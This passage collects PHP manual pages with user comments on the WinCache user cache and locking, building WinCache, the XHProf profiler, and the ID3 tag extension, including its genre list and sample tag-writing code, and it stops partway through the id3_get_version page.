Example #1 wincache_ucache_set() with key as a string

<?php
$bar = 'BAR';
var_dump(wincache_ucache_set('foo', $bar));
var_dump(wincache_ucache_get('foo'));
$bar1 = 'BAR1';
var_dump(wincache_ucache_set('foo', $bar1));
var_dump(wincache_ucache_get('foo'));
?>

The above example will output:

bool(true)
string(3) "BAR"
bool(true)
string(3) "BAR1"

Example #2 wincache_ucache_set() with key as an array

<?php
$colors_array = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
var_dump(wincache_ucache_set($colors_array));
var_dump(wincache_ucache_set($colors_array));
var_dump(wincache_ucache_get('Blue'));
?>

The above example will output:

array(0) {}
array(0) {}
string(1) "6"

See Also

  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • __sleep()

User Contributed Notes

don dot raman at microsoft dot com 05-Mar-2010 09:08
As of writing this note (PHP 5.3.1) serialization of closure is not allowed.

This means a code like the one below:

<?php
//Closure
$bar3 = function($a) {
    return $a * 2;
};
wincache_ucache_set('foo3', $bar3);
var_dump(wincache_ucache_get('foo3'));
echo "<br>";
?>

Will throw exception:
[11-Feb-2010 09:25:33] PHP Fatal error:  Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed' in C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php:6
Stack trace:
#0 C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php(6): wincache_ucache_set('foo3', Object(Closure))
#1 {main}
  thrown in C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php on line 6

However one catch this exception like:
<?php
//Closure
$bar3 = function($a) {
    return $a * 2;
};
try
{
    wincache_ucache_set('foo3', $bar3);
}
catch (Exception $e)
{
    var_dump($e->getMessage());
}
var_dump(wincache_ucache_get('foo3'));
echo "<br>";
?>

This will generate output as shown beloe:
string(41) "Serialization of 'Closure' is not allowed" NULL


Releases an exclusive lock on a given key

  • « wincache_ucache_set
  • Building for Windows »
  • PHP Manual
  • WinCache Functions
  • Releases an exclusive lock on a given key

wincache_unlock

(PECL wincache >= 1.1.0)

wincache_unlock — Releases an exclusive lock on a given key

Description

bool wincache_unlock ( string $key )

Releases an exclusive lock that was obtained on a given key by using wincache_lock(). If any other process was blocked waiting for the lock on this key, that process will be able to obtain the lock.

Warning

Using of the wincache_lock() and wincache_unlock() can cause deadlocks when executing PHP scripts in a multi-process environment like FastCGI. Do not use these functions unless you are absolutely sure you need to use them. For the majority of the operations on the user cache it is not necessary to use these functions.

Parameters

key

Name of the key in the cache to release the lock on.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using wincache_unlock()

<?php
$fp = fopen("/tmp/lock.txt", "r+");
if (wincache_lock(“lock_txt_lock”)) { // do an exclusive lock
    ftruncate($fp, 0); // truncate file
    fwrite($fp, "Write something here\n");
    wincache_unlock(“lock_txt_lock”); // release the lock
} else {
    echo "Couldn't get the lock!";
}
fclose($fp);
?>

See Also

  • wincache_lock() - Acquires an exclusive lock on a given key
  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache

User Contributed Notes

There are no user contributed notes for this page.


Building for Windows

Table of Contents

  • Prerequisites
  • Compiling and building
  • Verifying the build

User Contributed Notes

There are no user contributed notes for this page.


Prerequisites

Building WinCache extension will require:

  1. PHP source code
  2. PHP build environment
  3. WinCache source code

For completing first two steps, follow the step-by-step guide for how to » build PHP on Windows.

For getting the WinCache source code follow the instructions described in Downloading PECL extensions.

User Contributed Notes

There are no user contributed notes for this page.


Compiling and building

The following steps describe how to compile and build WinCache on Windows OS:

  1. Open a command prompt which is used to build PHP

  2. Go to the root folder where PHP sources are present

  3. Run the command:

    cscript.exe win32\build\buildconf.js

  4. Run the command:

    configure.bat --help
    The output will contain a new flag --enable-wincache.

  5. Run the command:

    configure.js [all options used to build PHP] --enable-wincache
    --enable-wincache is the only extra option which is required to ensure that WinCache extension gets built properly. This option will build WinCache and will statically link it with PHP dll. To build WinCache extension as a stand-alone DLL use the option --enable-wincache=shared.

  6. Run the command:

    nmake

User Contributed Notes

There are no user contributed notes for this page.


Verifying the build

The following steps describe how to verify that WinCache has been built correctly:

  1. Go to the folder where the PHP binaries are built

  2. Run the command:

    php.exe -n -d extension=php_wincache.dll -re wincache
    If WinCache has been built properly, the output of this command will list the INI directives and functions supported by WinCache.

User Contributed Notes

There are no user contributed notes for this page.


Hierarchical Profiler

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Xhprof Functions
    • xhprof_disable — Stops xhprof profiler
    • xhprof_enable — Start xhprof profiler
    • xhprof_sample_disable — Stops xhprof sample profiler
    • xhprof_sample_enable — Start XHProf profiling in sampling mode

User Contributed Notes

There are no user contributed notes for this page.


Introduction

XHProf is a light-weight hierarchical and instrumentation based profiler. During the data collection phase, it keeps track of call counts and inclusive metrics for arcs in the dynamic callgraph of a program. It computes exclusive metrics in the reporting/post processing phase, such as wall (elapsed) time, CPU time and memory usage. A functions profile can be broken down by callers or callees. XHProf handles recursive functions by detecting cycles in the callgraph at data collection time itself and avoiding the cycles by giving unique depth qualified names for the recursive invocations.

XHProf includes a simple HTML based user interface (written in PHP). The browser based UI for viewing profiler results makes it easy to view results or to share results with peers. A callgraph image view is also supported.

XHProf reports can often be helpful in understanding the structure of the code being executed. The hierarchical nature of the reports can be used to determine, for example, what chain of calls led to a particular function getting called.

XHProf supports ability to compare two runs (a.k.a. "diff" reports) or aggregate data from multiple runs. Diff and aggregate reports, much like single run reports, offer "flat" as well as "hierarchical" views of the profile.

Additional documentation can be found via the » facebook xhprof website.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Although not required, xhprof includes an interface that's written in PHP. It's used to save and display the profiled data in a usable way, where viewing is done via a web browser. So, a PHP enabled web server will likely make the xhprof experience more useful.

There's also a fork of the GUI interface at » http://github.com/preinheimer/xhprof

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/xhprof

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Xhprof Configure Options
Name | Default | Changeable | Changelog
xhprof.output_dir | "" | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

xhprof.output_dir string

Directory used by the default implementation of the iXHProfRuns interface (namely, the XHProfRuns_Default class) for storing XHProf runs.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

XHPROF_FLAGS_NO_BUILTINS (integer)
Used to skip all built-in (internal) functions.
XHPROF_FLAGS_CPU (integer)
Used to add CPU profiling information to the output.
XHPROF_FLAGS_MEMORY (integer)
Used to add memory profiling information to the output.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Xhprof example with the optional GUI

This example starts and stops the profiler, then uses the bundled GUI interface to save and parse the results. In other words, the code from the extension itself ends at the call to xhprof_disable().

<?php
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);

for ($i = 0; $i <= 1000; $i++) {
    $a = $i * $i;
}

$xhprof_data = xhprof_disable();

$XHPROF_ROOT = "/tools/xhprof/";
include_once $XHPROF_ROOT . "/xhprof_lib/utils/xhprof_lib.php";
include_once $XHPROF_ROOT . "/xhprof_lib/utils/xhprof_runs.php";

$xhprof_runs = new XHProfRuns_Default();
$run_id = $xhprof_runs->save_run($xhprof_data, "xhprof_testing");

echo "http://localhost/xhprof/xhprof_html/index.php?run={$run_id}&source=xhprof_testing\n";

?>

The above example will output something similar to:

http://localhost/xhprof/xhprof_html/index.php?run=t11_4bdf44d21121f&source=xhprof_testing

User Contributed Notes

There are no user contributed notes for this page.


Xhprof Functions

Table of Contents

  • xhprof_disable — Stops xhprof profiler
  • xhprof_enable — Start xhprof profiler
  • xhprof_sample_disable — Stops xhprof sample profiler
  • xhprof_sample_enable — Start XHProf profiling in sampling mode

User Contributed Notes

There are no user contributed notes for this page.


Stops xhprof profiler

  • « Xhprof Functions
  • xhprof_enable »
  • PHP Manual
  • Xhprof Functions
  • Stops xhprof profiler

xhprof_disable

(PECL xhprof >= 0.9.0)

xhprof_disable — Stops xhprof profiler

Description

array xhprof_disable ( void )

Stops the profiler, and returns xhprof data from the run.

Parameters

This function has no parameters.

Return Values

An array of xhprof data, from the run.

Examples

Example #1 xhprof_disable() example

<?php
xhprof_enable();

$foo = strlen("foo bar");

$xhprof_data = xhprof_disable();

print_r($xhprof_data);
?>

The above example will output something similar to:

Array
(
    [main()==>strlen] => Array
        (
            [ct] => 1
            [wt] => 279
        )

    [main()==>xhprof_disable] => Array
        (
            [ct] => 1
            [wt] => 9
        )

    [main()] => Array
        (
            [ct] => 1
            [wt] => 610
        )

)

User Contributed Notes

FatBat 18-Oct-2014 01:18
Raw output snippet with, XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY.

[main()] => Array
(
    [ct] => 1                // number of calls.
    [wt] => 419              // wall/wait time (ms).
    [cpu] => 0               // cpu time.
    [mu] => 8264             // memory usage (bytes).
    [pmu] => 0               // peak memory usage.
)


Start xhprof profiler

  • « xhprof_disable
  • xhprof_sample_disable »
  • PHP Manual
  • Xhprof Functions
  • Start xhprof profiler

xhprof_enable

(PECL xhprof >= 0.9.0)

xhprof_enable — Start xhprof profiler

Description

void xhprof_enable ([ int $flags = 0 [, array $options ]] )

Start xhprof profiling.

Parameters

flags

Optional flags to add additional information to the profiling. See the XHprof constants for further information about these flags, e.g., XHPROF_FLAGS_MEMORY to enable memory profiling.

options

An array of optional options, namely, the 'ignored_functions' option to pass in functions to be ignored during profiling.

Return Values

NULL

Changelog

Version | Description
0.9.2 | The optional options parameter was added.

Examples

Example #1 xhprof_enable() examples

<?php
// 1. elapsed time + memory + CPU profiling; and ignore built-in (internal) functions
xhprof_enable(XHPROF_FLAGS_NO_BUILTINS | XHPROF_FLAGS_CPU | XHPROF_FLAGS_MEMORY);

// 2. elapsed time profiling; ignore call_user_func* during profiling
xhprof_enable(
    0,
    array('ignored_functions' =>  array('call_user_func',
                                        'call_user_func_array')));

// 3. elapsed time + memory profiling; ignore call_user_func* during profiling
xhprof_enable(
    XHPROF_FLAGS_MEMORY,
    array('ignored_functions' =>  array('call_user_func',
                                        'call_user_func_array')));
?>

See Also

  • xhprof_disable() - Stops xhprof profiler
  • xhprof_sample_enable() - Start XHProf profiling in sampling mode
  • memory_get_usage() - Returns the amount of memory allocated to PHP
  • getrusage() - Gets the current resource usages

User Contributed Notes

There are no user contributed notes for this page.


Stops xhprof sample profiler

  • « xhprof_enable
  • xhprof_sample_enable »
  • PHP Manual
  • Xhprof Functions
  • Stops xhprof sample profiler

xhprof_sample_disable

(PECL xhprof >= 0.9.0)

xhprof_sample_disable — Stops xhprof sample profiler

Description

array xhprof_sample_disable ( void )

Stops the sample mode xhprof profiler, and

Parameters

This function has no parameters.

Return Values

An array of xhprof sample data, from the run.

Examples

Example #1 xhprof_sample_disable() example

<?php
xhprof_sample_enable();

for ($i = 0; $i <= 10000; $i++) {
    $a = strlen($i);
    $b = $i * $a;
    $c = rand();
}

$xhprof_data = xhprof_sample_disable();

print_r($xhprof_data);
?>

The above example will output something similar to:

Array
(
    [1272935300.800000] => main()
    [1272935300.900000] => main()
)

User Contributed Notes

There are no user contributed notes for this page.


Start XHProf profiling in sampling mode

  • « xhprof_sample_disable
  • Audio Formats Manipulation »
  • PHP Manual
  • Xhprof Functions
  • Start XHProf profiling in sampling mode

xhprof_sample_enable

(PECL xhprof >= 0.9.0)

xhprof_sample_enable — Start XHProf profiling in sampling mode

Description

void xhprof_sample_enable ( void )

Starts profiling in sample mode, which is a lighter weight version of xhprof_enable(). The sampling interval is 0.1 seconds, and samples record the full function call stack. The main use case is when lower overhead is required when doing performance monitoring and diagnostics.

Parameters

This function has no parameters.

Return Values

NULL

See Also

  • xhprof_sample_disable() - Stops xhprof sample profiler
  • xhprof_enable() - Start xhprof profiler
  • memory_get_usage() - Returns the amount of memory allocated to PHP
  • getrusage() - Gets the current resource usages

User Contributed Notes

There are no user contributed notes for this page.


Audio Formats Manipulation

  • ID3 — ID3 Tags
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • ID3 Functions
  • KTaglib
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • KTaglib_MPEG_File — The KTaglib_MPEG_File class
    • KTaglib_MPEG_AudioProperties — The KTaglib_MPEG_AudioProperties class
    • KTaglib_Tag — The KTaglib_Tag class
    • KTaglib_ID3v2_Tag — The KTaglib_ID3v2_Tag class
    • KTaglib_ID3v2_Frame — The KTaglib_ID3v2_Frame class
    • KTaglib_ID3v2_AttachedPictureFrame — The KTaglib_ID3v2_AttachedPictureFrame class
  • oggvorbis — OGG/Vorbis
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Context options
    • Examples
  • OpenAL — OpenAL Audio Bindings
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • OpenAL Functions

User Contributed Notes

There are no user contributed notes for this page.


ID3 Tags

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • ID3 Functions
    • id3_get_frame_long_name — Get the long name of an ID3v2 frame
    • id3_get_frame_short_name — Get the short name of an ID3v2 frame
    • id3_get_genre_id — Get the id for a genre
    • id3_get_genre_list — Get all possible genre values
    • id3_get_genre_name — Get the name for a genre id
    • id3_get_tag — Get all information stored in an ID3 tag
    • id3_get_version — Get version of an ID3 tag
    • id3_remove_tag — Remove an existing ID3 tag
    • id3_set_tag — Update information stored in an ID3 tag

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions let you read and manipulate ID3 tags. ID3 tags are used in MP3 files to store title of the song, as well as information about the artist, album, genre, year and track number.

Since version 0.2 it is also possible to extract text frames from ID3 v2.2+ tags.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/id3.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

kamil at rajkowski dot net 19-Dec-2013 09:50
Due to API change in PHP 5.4 you have to make change in "id3.c"

Have to change in line 196:
function_entry id3_functions[] = {
into
zend_function_entry id3_functions[] = {

Without it you won't be able to install id3 extension.
thephpguru at hotmail dot com 17-Aug-2011 04:16
To install the PHP/Pecl audio file ID3 functions onto Fedora 13 with Apache 2.2.17:
1) Download PHP5.X or higher.
2) Configure, Make and Make Install PHP as desired.
2) After PHP is up and running download the latest version of ID3.X (0.2 or higher)
3) CD to php5.X/ext dir.
4) Uncompress ID3.x into the ext dir.
5) CD into your ID3.X dir.
6) Run the following:
    1) phpize (ignore phpize failed error).
    2) ./configure
    3) make
    4) make install
7) Add extension=/SomeDir/SomeDir/php-5.X/ext/id3-0.2/modules/id3.so to your php.ini file.
8) Restart Apache.
9) Test your installation with a MP3 that has valid ID3 Tags. I suggest that you edit your mp3 file with EasyTag or Kid3 (Preferred. Be sure to convert the tags to version 2.3 from the tools menu).


Predefined Constants

Most of the id3 functions either let you specify or return a tag version. In order to specify the version please use on of these constants.

ID3_V1_0 (integer)
ID3_V1_0 is used if you are working with ID3 V1.0 tags. These tags may contain the fields title, artist, album, genre, year and comment.
ID3_V1_1 (integer)
ID3_V1_1 is used if you are working with ID3 V1.1 tags. These tags may all information contained in v1.0 tags plus the track number.
ID3_V2_1 (integer)
ID3_V2_1 is used if you are working with ID3 V2.1 tags.
ID3_V2_2 (integer)
ID3_V2_2 is used if you are working with ID3 V2.2 tags.
ID3_V2_3 (integer)
ID3_V2_3 is used if you are working with ID3 V2.3 tags.
ID3_V2_4 (integer)
ID3_V2_4 is used if you are working with ID3 V2.4 tags.
ID3_BEST (integer)
ID3_BEST is used if would like to let the id3 functions determine which tag version should be used.

User Contributed Notes

There are no user contributed notes for this page.


ID3 Functions

Table of Contents

  • id3_get_frame_long_name — Get the long name of an ID3v2 frame
  • id3_get_frame_short_name — Get the short name of an ID3v2 frame
  • id3_get_genre_id — Get the id for a genre
  • id3_get_genre_list — Get all possible genre values
  • id3_get_genre_name — Get the name for a genre id
  • id3_get_tag — Get all information stored in an ID3 tag
  • id3_get_version — Get version of an ID3 tag
  • id3_remove_tag — Remove an existing ID3 tag
  • id3_set_tag — Update information stored in an ID3 tag

User Contributed Notes

regindk at gmail dot com 29-Dec-2006 03:54
Using the ID3 extension you might be interested in some more functionality for working with MP3-files that is missing in the PHP C-modules.

Such as extracting for instance the first 10 seconds of a song, merging MP3 files, calculating the exact length of the MP3 file.

The following class in pure PHP is available for that:
http://www.sourcerally.net/Scripts/20-PHP-MP3-Class
jbwalker at telus dot net 15-Nov-2006 08:58
Windows XP users may be having trouble with routines provided here and may (as above) only have access to "read" classes. The following very simplified "write" can be used for replacing Windows Media Player file tags, and with care and adjustments, can be used more generally.

<?php
 define(_Title,"TIT2");
 define(_Artist,"TPE1");
 define(_Group,"TPE2");
 define(_Album,"TALB");
 define(_Genre,"TCON");
 define(_TrackNo,"TRCK");
 define(_Year,"TYER");
 $frames = array(_Album=>"The Ultimate Experience",
  _TrackNo=>"1",
  _Title=>"All along the watchtower",
  _Artist=>"Jimi Hendrix",
  _Group=>"",
  _Year=>"19xx",
  _Genre=>"Rock");

#..........................................
#       WRITE ID3 TAGS (Write MP3 [v1, v2]
#..........................................
function writeTags($mp3) {
    $fl = file_get_contents($mp3);
    $Header = substr($fl,0,10);
    $tagLen = calcDecTagLen(substr($Header,6,4),$tagLen);
    $music = substr($fl,$tagLen+10,-128);
    # Can use input Header for output but you may
    # wish to change the output filename for testing
        $tagLen = 1024; # or whatever you like >your actual
        $Header = substr($Header,0,6).setHexTagLen($tagLen);
        file_put_contents($mp3,mkV2Tag($Header,$tagLen).$music.mkV1Tag());
}
#   Create the V2 tag
function mkV2Tag($Hdr,$tagLen) {
    Global $frames;
    $null = chr(0);
    $nl3 = $null.$null.$null;            # 0 bytes for flags and encoding
    $out = "";
    foreach($frames as $ky=>$val) {
        $n=strlen($val)+1;
        $out.= $ky.mkFrmLen($n).$nl3.$val;
        }
    return $Hdr.str_pad($out,$tagLen,$null);
    }
#    Calculate Tag Length from bytes 6-10 of existing header
function calcDecTagLen($word) {
    $m = 1;
    $int = 0;
    for ($i=strlen($word)-1;$i>-1;$i--) {
        $int +=$m*ord($word[$i]);
        $m=$m*128;
        }
    return $int;
    }
#    Make the 4 byte frame length value for the V2tag
function mkFrmLen($int) {
    $hx = "";
    while ($int>0) {
        $n = $int % 256;
        $hx = chr($n).$hx;
        $int=floor($int/256);
        }
    return str_pad($hx,4,chr(0),STR_PAD_LEFT);
    }
#    Create the 128 byte V1 tag
function mkV1Tag() {
    Global $frames;
    $tagOut = "TAG".
        adj($frames[_Title]).
        adj($frames[_Artist]).
        adj($frames[_Album]).
        str_pad($frames[_Year],4).
        str_pad(" ",29," ").
        chr($frames[_TrackNo]).
        chr($n);
    return $tagOut;
    }
#    Pad the header to 30 characters
function adj($str) {
    return substr(str_pad($str,30,chr(0)),0,30);
    }

#     This is a simple example for an mp3 in current folder
    writeTags("01-Cognac Blues.mp3");
?>

The setHexTagLen can be figured out from the calcDecTagLen but here's some sample code.

<?php
function setHexTagLen($int) {
    $n = pow(128,3);
    $intVar = $int;
    $m = "";
    for ($i=0;$i<4;$i++) {
        $m .= chr(floor($intVar/$n));
        $intVar = $intVar % $n;
        $n=$n/128;
        }
    return $m;
}
?>
wmd at wazee dot org 11-Jul-2004 11:31
There are several highly developed id3 reader classes written in php that include id3v2 support, and support for other file formats (not just mpeg & id3). I recommend http://getid3.sourceforge.net/ as well as the id3 reader class integrated in the Zina is not Andromeda project (http://pancake.org/zina.html)


Get the long name of an ID3v2 frame

  • « ID3 Functions
  • id3_get_frame_short_name »
  • PHP Manual
  • ID3 Functions
  • Get the long name of an ID3v2 frame

id3_get_frame_long_name

(PECL id3 >= 0.2)

id3_get_frame_long_name — Get the long name of an ID3v2 frame

Description

string id3_get_frame_long_name ( string $frameId )

id3_get_frame_long_name() returns the long name for an ID3v2 frame.

Parameters

frameId

An ID3v2 frame

Return Values

Returns the frame long name or FALSE on errors.

Examples

Example #1 id3_get_frame_long_name() example

<?php
$longName = id3_get_frame_long_name("TOLY");
echo $longName;
?>

The above example will output:

Original lyricist(s)/text writer(s)

See Also

  • id3_get_frame_short_name() - Get the short name of an ID3v2 frame

User Contributed Notes

There are no user contributed notes for this page.


Get the short name of an ID3v2 frame

  • « id3_get_frame_long_name
  • id3_get_genre_id »
  • PHP Manual
  • ID3 Functions
  • Get the short name of an ID3v2 frame

id3_get_frame_short_name

(PECL id3 >= 0.2)

id3_get_frame_short_name — Get the short name of an ID3v2 frame

Description

string id3_get_frame_short_name ( string $frameId )

id3_get_frame_short_name() returns the short name for an ID3v2 frame.

Parameters

frameId

An ID3v2 frame

Return Values

Returns the frame short name or FALSE on errors.

The values returned by id3_get_frame_short_name() are used in the array returned by id3_get_tag().

Examples

Example #1 id3_get_frame_short_name() example

<?php
$shortName = id3_get_frame_short_name("TOLY");
echo $shortName;
?>

The above example will output:

originalLyricist

See Also

  • id3_get_frame_long_name() - Get the long name of an ID3v2 frame

User Contributed Notes

There are no user contributed notes for this page.


Get the id for a genre

  • « id3_get_frame_short_name
  • id3_get_genre_list »
  • PHP Manual
  • ID3 Functions
  • Get the id for a genre

id3_get_genre_id

(PECL id3 >= 0.1)

id3_get_genre_id — Get the id for a genre

Description

int id3_get_genre_id ( string $genre )

id3_get_genre_id() returns the id for a genre.

Parameters

genre

Genre name as string.

Return Values

The genre id or FALSE on errors.

Examples

Example #1 id3_get_genre_id() example

<?php
$id = id3_get_genre_id("Alternative");
echo $id;
?>

The above example will output:

20

See Also

  • id3_get_genre_name() - Get the name for a genre id
  • id3_get_genre_list() - Get all possible genre values

User Contributed Notes

There are no user contributed notes for this page.


Get all possible genre values

  • « id3_get_genre_id
  • id3_get_genre_name »
  • PHP Manual
  • ID3 Functions
  • Get all possible genre values

id3_get_genre_list

(PECL id3 >= 0.1)

id3_get_genre_list — Get all possible genre values

Description

array id3_get_genre_list ( void )

id3_get_genre_list() returns an array containing all possible genres that may be stored in an ID3 tag. This list has been created by Eric Kemp and later extended by WinAmp.

This function is useful to provide you users a list of genres from which they may choose one. When updating the ID3 tag you will always have to specify the genre as an integer ranging from 0 to 147.

Return Values

Returns an array containing all possible genres that may be stored in an ID3 tag.

Examples

Example #1 id3_get_genre_list() example

<?php
$genres = id3_get_genre_list();
print_r($genres);
?>

The above example will output:

Array
(
    [0] => Blues
    [1] => Classic Rock
    [2] => Country
    [3] => Dance
    [4] => Disco
    [5] => Funk
    [6] => Grunge
    [7] => Hip-Hop
    [8] => Jazz
    [9] => Metal
    [10] => New Age
    [11] => Oldies
    [12] => Other
    [13] => Pop
    [14] => R&B
    [15] => Rap
    [16] => Reggae
    [17] => Rock
    [18] => Techno
    [19] => Industrial
    [20] => Alternative
    [21] => Ska
    [22] => Death Metal
    [23] => Pranks
    [24] => Soundtrack
    [25] => Euro-Techno
    [26] => Ambient
    [27] => Trip-Hop
    [28] => Vocal
    [29] => Jazz+Funk
    [30] => Fusion
    [31] => Trance
    [32] => Classical
    [33] => Instrumental
    [34] => Acid
    [35] => House
    [36] => Game
    [37] => Sound Clip
    [38] => Gospel
    [39] => Noise
    [40] => Alternative Rock
    [41] => Bass
    [42] => Soul
    [43] => Punk
    [44] => Space
    [45] => Meditative
    [46] => Instrumental Pop
    [47] => Instrumental Rock
    [48] => Ethnic
    [49] => Gothic
    [50] => Darkwave
    [51] => Techno-Industrial
    [52] => Electronic
    [53] => Pop-Folk
    [54] => Eurodance
    [55] => Dream
    [56] => Southern Rock
    [57] => Comedy
    [58] => Cult
    [59] => Gangsta
    [60] => Top 40
    [61] => Christian Rap
    [62] => Pop/Funk
    [63] => Jungle
    [64] => Native US
    [65] => Cabaret
    [66] => New Wave
    [67] => Psychadelic
    [68] => Rave
    [69] => Showtunes
    [70] => Trailer
    [71] => Lo-Fi
    [72] => Tribal
    [73] => Acid Punk
    [74] => Acid Jazz
    [75] => Polka
    [76] => Retro
    [77] => Musical
    [78] => Rock & Roll
    [79] => Hard Rock
    [80] => Folk
    [81] => Folk-Rock
    [82] => National Folk
    [83] => Swing
    [84] => Fast Fusion
    [85] => Bebob
    [86] => Latin
    [87] => Revival
    [88] => Celtic
    [89] => Bluegrass
    [90] => Avantgarde
    [91] => Gothic Rock
    [92] => Progressive Rock
    [93] => Psychedelic Rock
    [94] => Symphonic Rock
    [95] => Slow Rock
    [96] => Big Band
    [97] => Chorus
    [98] => Easy Listening
    [99] => Acoustic
    [100] => Humour
    [101] => Speech
    [102] => Chanson
    [103] => Opera
    [104] => Chamber Music
    [105] => Sonata
    [106] => Symphony
    [107] => Booty Bass
    [108] => Primus
    [109] => Porn Groove
    [110] => Satire
    [111] => Slow Jam
    [112] => Club
    [113] => Tango
    [114] => Samba
    [115] => Folklore
    [116] => Ballad
    [117] => Power Ballad
    [118] => Rhytmic Soul
    [119] => Freestyle
    [120] => Duet
    [121] => Punk Rock
    [122] => Drum Solo
    [123] => Acapella
    [124] => Euro-House
    [125] => Dance Hall
    [126] => Goa
    [127] => Drum & Bass
    [128] => Club-House
    [129] => Hardcore
    [130] => Terror
    [131] => Indie
    [132] => BritPop
    [133] => Negerpunk
    [134] => Polsk Punk
    [135] => Beat
    [136] => Christian Gangsta
    [137] => Heavy Metal
    [138] => Black Metal
    [139] => Crossover
    [140] => Contemporary C
    [141] => Christian Rock
    [142] => Merengue
    [143] => Salsa
    [144] => Thrash Metal
    [145] => Anime
    [146] => JPop
    [147] => SynthPop
)

See Also

  • id3_get_genre_name() - Get the name for a genre id
  • id3_get_genre_id() - Get the id for a genre

User Contributed Notes

There are no user contributed notes for this page.


Get the name for a genre id

  • « id3_get_genre_list
  • id3_get_tag »
  • PHP Manual
  • ID3 Functions
  • Get the name for a genre id

id3_get_genre_name

(PECL id3 >= 0.1)

id3_get_genre_name — Get the name for a genre id

Description

string id3_get_genre_name ( int $genre_id )

id3_get_genre_name() returns the name for a genre id.

Parameters

genre_id

An integer ranging from 0 to 147

Return Values

Returns the name as a string.

Examples

Example #1 id3_get_genre_name() example

<?php
$genre = id3_get_genre_name(20);
echo $genre;
?>

The above example will output:

Alternative

See Also

  • id3_get_genre_list() - Get all possible genre values
  • id3_get_genre_id() - Get the id for a genre

User Contributed Notes

There are no user contributed notes for this page.


Get all information stored in an ID3 tag

  • « id3_get_genre_name
  • id3_get_version »
  • PHP Manual
  • ID3 Functions
  • Get all information stored in an ID3 tag

id3_get_tag

(PECL id3 >= 0.1)

id3_get_tag — Get all information stored in an ID3 tag

Description

array id3_get_tag ( string $filename [, int $version = ID3_BEST ] )

id3_get_tag() is used to get all information stored in the id3 tag of the specified file.

Parameters

filename

The path to the MP3 file

Instead of a filename you may also pass a valid stream resource

version

Allows you to specify the version of the tag as MP3 files may contain both, version 1.x and version 2.x tags

Since version 0.2 id3_get_tag() also supports ID3 tags of version 2.2, 2.3 and 2.4. To extract information from these tags, pass one of the constants ID3_V2_2, ID3_V2_3 or ID3_V2_4 as the second parameter. ID3 v2.x tags can contain a lot more information about the MP3 file than ID3 v1.x tags.

Return Values

Returns an associative array with various keys like: title, artist, ..

The key genre will contain an integer between 0 and 147. You may use id3_get_genre_name() to convert it to a human readable string.

Examples

Example #1 id3_get_tag() example

<?php
$tag = id3_get_tag( "path/to/example.mp3" );
print_r($tag);
?>

The above example will output something similar to:

Array
(
    [title] => DN-38416
    [artist] => Re:\Legion
    [album] => Reflections
    [year] => 2004
    [genre] => 19
)

Example #2 id3_get_tag() example

<?php
$tag = id3_get_tag( "path/to/example2.mp3", ID3_V2_3 );
print_r($tag);
?>

The above example will output something similar to:

Array
(
    [copyright] => Dirty Mac
    [originalArtist] => Dirty Mac
    [composer] => Marcus Götze
    [artist] => Dirty Mac
    [title] => Little Big Man
    [album] => Demo-Tape
    [track] => 5/12
    [genre] => (17)Rock
    [year] => 2001
)

See Also

  • id3_set_tag() - Update information stored in an ID3 tag
  • id3_remove_tag() - Remove an existing ID3 tag
  • id3_get_version() - Get version of an ID3 tag

User Contributed Notes

There are no user contributed notes for this page.


Get version of an ID3 tag

  • « id3_get_tag
  • id3_remove_tag »
  • PHP Manual
  • ID3 Functions
  • Get version of an ID3 tag

id3_get_version

(PECL id3 >= 0.1)

id3_get_version — Get version of an ID3 tag

Description

int id3_get_version ( string $filename )

id3_get_version() retrieves the version(s) of the ID3 tag(s) in the MP3 file.

If a file contains an ID3 v1.1 tag, it always contains a 1.0 tag, as version 1.1 is just an extension of 1.0.

Parameters

filename

The path to the MP3 file

Instead of a filename you may also pass a valid stream resource

Return Values

